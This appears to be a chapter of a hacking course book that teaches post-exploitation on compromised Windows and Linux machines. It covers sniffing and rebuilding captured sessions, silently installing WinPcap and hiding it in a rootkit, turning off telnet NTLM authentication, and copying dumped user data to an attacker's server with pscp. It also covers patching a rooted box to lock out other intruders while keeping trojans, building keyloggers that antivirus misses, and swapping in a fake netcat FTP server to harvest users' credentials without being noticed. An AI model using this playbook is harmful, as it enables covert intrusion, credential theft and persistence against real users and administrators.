Sniffers can help you a great deal. This can come from the combined efforts of:

Placing yourself at a disadvantage after successful exploitation would be not sniffing traffic. As we've seen, sniffing traffic has many benefits. Although the information contained herein is not only specific to linux, we will be covering the usage of performing such activities on the windows end, too!

 The first tool we will look at and analyze is the “ChaosReader” perl script for, Linux. We've renamed our tool to “tcprebuild.pl” and have chmodded it to 755 to make it executable. This way we can run it using the ./tcprebuild.pl operand, without entering: perl tcprebuild.pl. If however, your application does not start; entering the #!/usr/bin/pl or the location of your perl binary / shell. If you have issues locating the whereabouts of perl, entering the: whereis perl command will tell you. In our case we have it installed in a few locations. The most important of the locations is, /usr/bin/perl.

 Now that the setup and technical jargon is out of the way, let's analyze the file. Issuing the ./tcprebuild.pl will display the following output, figure 1.0 demonstrates this:

Figure 1.0 Demonstrating ChaosReader.

 Although this tool is being demonstrated from a, Linux environment any system which is utilizing any form of libpcap capture (or pcap type) and running perl on the target will allow you to obtain the information from a captured session; and have it rebuilt. Although many rebuilds are hard to accomplish (due to how the information is stored in the TCP, or UDP frames – some information can be gleaned from this type of attack.) What attackers are normally gunning for in this type of attack is the capture of credentials utilized in authentication systems.

You can run this type of capture in a number of ways. Because we are utilizing tcpdump we will enter the following criteria into the shell: tcpdump -s9000 -w captured_traffic.log; foobar foo_file_directive what is happening on this command line is that we are specifying the (-s) snaplen [packet length] to that of 9000 bytes. With a captured file in raw form (-w) specified as “captured_traffic.log” with foobar as an operand to search for, while foo_file_directive will be the potential file that we are searching for.

For the sake of simplicity we can issue the syntax of: tcpdump -s9000 -w captured_data and have this information captured in raw form. Running the syntax of chaosreader -r captured_data will generate us raw form data. If we'd enter: chaosreader -v captured_data the application will rebuild all files involved with those sessions. However, in our case we'd issue tcprebuild -r captured_data and, tcprebuild -v captured_data as we've named this perl script “tcprebuild.pl”

 In performing such actions, you can also obtain the information that users are downloading. From word documents, to binary files and web locations they've been on. This will also include graphics!

The most interesting part of getting a sniffer onto a network is the installation of the sniffer. Well, to your luck, the last and final version to get your hands on (of winpcap of course) contains the silent mode of installation. This will greatly help you with your penetration testing. Below in figure 1.1 is a demonstration of installing winpcap on a target system with a silent installation.

Figure 1.1 Demonstrating the silent install (winpcap.exe /s) of winpcap.

The next example that we are displaying is the information from the Add/Remove programs listing. As you can clearly see in figure 1.2 we can assert that winpcap has not been installed yet.

Figure 1.2 Demonstrating no install of winpcap as of yet.

Now, once we execute our installation process for winpcap, we can run a refresh on the add/remove programs listing, and we clearly see the following. Figure 1.3 Demonstrates the successful installation of winpcap:

Figure 1.3 Demonstrating winpcap for nmap installed.

 Why are we using the nmap version? Simple. Winpcap became cheap and decided to skimp on our open-source community. They now want you to pay for the silent installation. My motto, revert to old and screw you!

 If you aren't sure if your installation has been successful you can navigate to the C:\program files\ directory, and check the listing. You can perform this utilizing the dir command, or you can issue the: dir | find “cap” or: dir | find “Pcap” directives and you will see similar output to the likes of figure 1.4:

Figure 1.4 demonstrating the successful installation of winpcap.

 If you want to get a bit more crazy; you can navigate into the folder to see if the 3 files are listed. Also, please do not forget to add this information to your rootkit application. Adding so, will greatly reduce the chances of your discovery!

Before we run away with the excitement of taking control of a box and executing functions and installing software on the remote end – you need to understand that if the session stalls, or dies you will need to utilize the pstools and issue the psexec to get it started as you may hang the connection. If the application requires that it interact with the desktop, you need to issue the following command: psexec -i filename.exe.

Session Sniffing & Rebuilding in Windows

Another tool which is well worth the mention is NetworkMiner which has the ability of parsing PCAP file output. Once a session has been sniffed (snort, tcpdump, wireshark / ethereal) you can run the output through this application to obtain output from a compromised server. This however, will only rebuild session information from HTTP/HTTPS frames and present the information to you complete with graphics. You can obtain the application form: http://sourceforge.net/projects/networkminer/

Putty Secure Copy

It shall be pointed out here that this requires setting up a telnet session prior to utilizing scp, or pscp for windows. Additionally, it is a security concern when utilizing scp over telnet. This is because your communications (and password!) will be sent across the network in clear-text before being streamed into scp/pscp so use this technique with major caution!

If you are successful, and you have dumped the information you need but you still need to transfer files over (and you don't want to use NC/CC, and for some odd reason want to use scp) you can do so by enabling the telnet sessions. However, it will require that you can connect WITHOUT NTLM authentication. We don't recommend this, but again if you want to use scp you can wget the pscp files, and then enable telnet on the command line by entering the following syntax: net start telnet and a telnet session will be forked.

If the session is utilizing the NTLM authentication you can write a small .reg file to import into the system and then have it write to the appropriate section of the registry and save the settings for you. For this to work you will need a regedit file (in our case we are using NTLM0.reg) which will reset the NTLM authentication to 0 (which is off). The contents of the file are as follows:

Figure 1.0 displaying the contents of our NTLM0.reg file.

We can then spawn a shell (as seen herein figure 1.1) which we will import the registry file, and set the NTLM authentication to 0 which is disabled:

Figure 1.1 Demonstrating a successful import of our NTLM0.reg file

We can also confirm the success of the NTLM setting being set to 0 by entering the registry.

It should be pointed out that the service telnet should be restarted after the file settings have been imported to make sure that the changes do take effect. After which, you should be able to log into the server with a telnet session. Also note that you will need to run an exploit, or a privilege escalation tool in order to gain root access to discover the administrator password, or user passwords to login. After this has been completed, you should be able to log into the remote box and utilize PSCP. Considering this is a double-edged sword, BE VERY CAREFUL. Your password will be in the clear and will defeat the purpose of the added security. You should consider Cryptcat for the job!

 Once we've gotten pscp on the system and moved it into the windows directory, we can begin to setup the system to pike out information to our local linux boxes, or over to a server that we control on the internet. In order for us to do this, we will be using the command: scp foo.bar This email address is being protected from spambots. You need JavaScript enabled to view it.:/foo/bar/. Please note that examples we are expressing, we've renamed the pscp command, as scp so we can run these commands on the fly. Figure 1.0 demonstrates the use of pscp to a linux box on the same network (however, the examples can be extended to networks, or computers across the globe.)

Figure 1.1 Demonstrating a pscp/scp from windows to an Apple system.

The commands we've executed were: scp dump_users.log This email address is being protected from spambots. You need JavaScript enabled to view it.:/var/root/Desktop/hacking_files.log Notice that our “password:” field has been smudged out. This is because the transmission of clear-text, and non-hiding characterization in the terminal window. You must also note that you cannot pike out the connections from nc. You will need to setup and create a telnet session on the target box (if it's allowed).

Patches

 Okay, so your not really the administrator of the box you've rooted. So, why should it be your job to patch the box? The reason is – you don't want other hackers trampling on your findings, do you? Most likely no. You've worked hard enough on the attack vector to get in. Why compromise your efforts and give them to someone else?

 Patching is a very touchy subject. The reason, once you deploy a patch you don't readily know or understand how it's going to make the server, or computer respond. Will it crash the box? Make it hang? You are in a state of suspense so make sure you weigh in your options pros and cons!

 Linux patches are easier to deploy than some of the microsoft windows patches. This is because most of the patches which run for microsoft windows will be performed on the GUI. While, other patches for the linux end can be performed CLI based. Shell scripts can also be written to help with the patch deployment.

 You can however write small applications in windows with the windows API to install the patches and weigh in every aspect that can possibly go wrong. The vehicle of delivery is all upon you and how you'd like to deploy this. As, these are quite easy to perform in the visual basic environments. We will however, provide some API projects written in VB 6.0 that will help you do this. Although this delivery method can be quite a disaster, especially if they are using ZA (ZoneAlarm) we can use a few smaller commands, and a VB6, C#, .NET, or VC/C/C++ application to handle this for us. For now, we will mainly focus on the command line syntax.

 To install a patch on a remote system which will only install the patch (with some visual aids, as well) we will issue the following command: patch.exe /quiet /forcerestart What this will do is, make the patch install and force a restart. The example in figure 1.0 demonstrates the view as one has been executed from the command line.

This type of patch deployment will effectively leave you in the dark! You will not know when the installation has been finished (unless you have RDP, or you have an application monitor the installation progress!). We advise using this option with caution. If you are not patient with the deployment of a patch – you really shouldn't be hacking! Furthermore, the last thing you want is to crash the system. So, if it's in your power throw the system into a VM (replication is best) and test it on your end. The last thing you want is a hack you've worked hard to accomplish throw you out of whack and you're left out in the cold. Not cool!

Figure 1.0 Demonstrating patch /quiet /forecrestart

 Note that we've renamed the patch from MS to patch.exe, hence the reason for it being called successfully with out error. Also notice, if reverse shelling has been exposed – we'd be at the same output from nc. You can also wget your patches from FTP. Just a friendly reminder!

Below, we have a screen shot of what is going on within the operating system. You can clearly see that the patch is not being run; and when we attempt to rename the patch file as this is progressing – it errors. Figure 1.1 demonstrates no confirmation of the installation, while figure 1.2 depicts the failed rename / deletion of the file being installed:

Figure 1.1 Displaying no visual confirmation of the patch deployment.

Figure 1.2 Displaying a failed deletion / rename of the patch file as it's being executed and installed.

The extreme benefit and purpose of this is to not allow other hackers on the box you've just rooted. This would spoil all your fun. So, we deploy the patches in order to lock others out well after we've installed all our tools and utilities. This is also said with the reserve to rootkits, and trojans so we can always come back.

Keyloggers

Key loggers are another important aspect to consider and include in your penetration testing efforts. This is because of their value as an information gathering, and data mining use. There are, however two different types of key loggers, and each has a subset of functions in which they utilize. You have key loggers which utilize the key_hook_wide functionality of windows API and, with that they are able to record all key strokes. From ALT – Z, numbers and special characters.

The next subset of key loggers include key loggers with the ability to capture information based on windows. These key loggers normally display information within brackets ( [WINDOW_NAME] ) format, and enable you to see where the information being processed has been taken from. Other key loggers will just jumble information up within the log they are dumping information to.

The best key loggers are those developed specifically by the penetration testing team. This will assure two types of benefits. They will be custom to your needs, and chances are; because they are new – they will not be detected by many of the anti-virus scanners out there. A double-standard are key loggers which are built into, Trojan applications which will allow the listening party to capture this information in real-time.

Key logging applications can be written in languages such as C/C++/C#, ASM and Visual basic 6 - .NET. We will be courteous and include a visual basic 6.0 version of a key logger. However, please note that the key loggers will only be available to students who take the course. We will not be providing any key loggers, or trojans for that matter to applicants purchasing the book within the larger consumer markets.

The other benefits of key loggers is the fact of their sizes; and the given fact that they can log to the local computer not alerting any administrators to their presence. However, there are techniques to discovering the existence of key logger applications, and their accompanying files which will grow in size.

Messing With Users The nc way

Nc can also be utilized to grab authentication sessions for clear-text protocols. By setting up some basic information into a configuration file; you can get the nc utility to act as a telnet, or ftp server. The information contained in this module will help highlight this and allow you to grab the session passwords without sniffing.

Please note that performing this type of attack is very dangerous as you will be knocking down telnet, and ftp. This will cause a DoS and is only meant to run for a few hours – nothing more. The more stealthy method would be to sniff the traffic! This is only entered here because we still haven't had our fill of fun with nc.

In this example, we've “breached” a server and we are knocking off the ftp server, and replacing it with a “trojanized” version. Figure 1.0 demonstrates this.

Figure 1.0 demonstrating us tearing down the proftpd server and running our attack.

The next figure 1.1 demonstrates a login session, on an “unsuspecting” victim.

Figure 1.1 our login attempt. Notice we passed our credentials.

 The next figure, we see that while we watch the remote session through either ssh, or a reverse shell we see that the user has passed his or her (in this case his) credentials across the line.

Figure 1.2 demonstrating the successful retention of the users credentials.

You can also pass and obtain the users credentials via the shell by the following command:

Figure 1.3 demonstrating we are outputting to login.sh (which can be any file name)

 To understand how this attack works, we will display the shell script, as well as the file we are calling to be inserted into the netcat utility. Figures 1.4 – 1.5 display this information for you

Figure 1.4 Demonstrating the shell script calls and arguments.

220 Welcome. 331 Password required 230 User logged in 215 Unix Type: L8 200 PORT command successful. 150 Opening data connection for LIST

 Figure 1.5 Demonstrating the arguments listing.

Once we've setup our shell scripts, we run the arguments: pa ax | grep ftpto see if an ftp server is indeed running on the box, if it is, we take the pid and we issue: kill foobar where foobar is the pid number of the process running the FTP server. Once this is finished, we issue our ./ftpattack.sh command and wait for commands if we'd like to see them in real time, flowing across the network. If not, we can always issue the ./ftpattack.sh >> ftp_users.log setting the double greater than symbols to append new connections so we do not erase previous sessions that have been established and negotiated.

Another good thing to point out is that, if the server is susceptible to banner grabbing, displaying the OS and FTP information, you'd want to include this information as to make it look legit. You may have a sys administrator login who might notice that it's a fake prompting an investigation! So, be sure to cover all grounds and do not attempt to keep the sessions like this for long. Otherwise, complaints will roll in exposing your activities during your penetration test.